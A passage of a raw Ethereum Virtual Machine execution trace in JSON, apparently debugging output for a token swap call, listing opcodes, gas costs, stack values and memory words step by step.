f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13896,"op":"PUSH1","gas":113888,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13898,"op":"SHL","gas":113885,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13899,"op":"SUB","gas":113882,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13900,"op":"DUP2","gas":113879,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13901,"op":"AND","gas":113876,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xffffffffffffffffffffffffffffffffffffffff","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13902,"op":"DUP2","gas":113873,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13903,"op":"EQ","gas":113870,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13904,"op":"PUSH2","gas":113867,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13907,"op":"JUMPI","gas":113864,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x3658"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13912,"op":"JUMPDEST","gas":113854,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13913,"op":"POP","gas":113853,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13914,"op":"JUMP","gas":113851,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13477,"op":"JUMPDEST","gas":113843,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13478,"op":"SWAP4","gas":113842,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x21c6","0x180","0x160","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13479,"op":"SWAP3","gas":113839,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x180","0x160","0x0","0x21c6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13480,"op":"POP","gas":113836,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x21c6","0x160","0x0","0x180"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13481,"op":"POP","gas":113834,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x21c6","0x160","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13482,"op":"POP","gas":113832,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x21c6","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13483,"op":"JUMP","gas":113830,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x21c6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000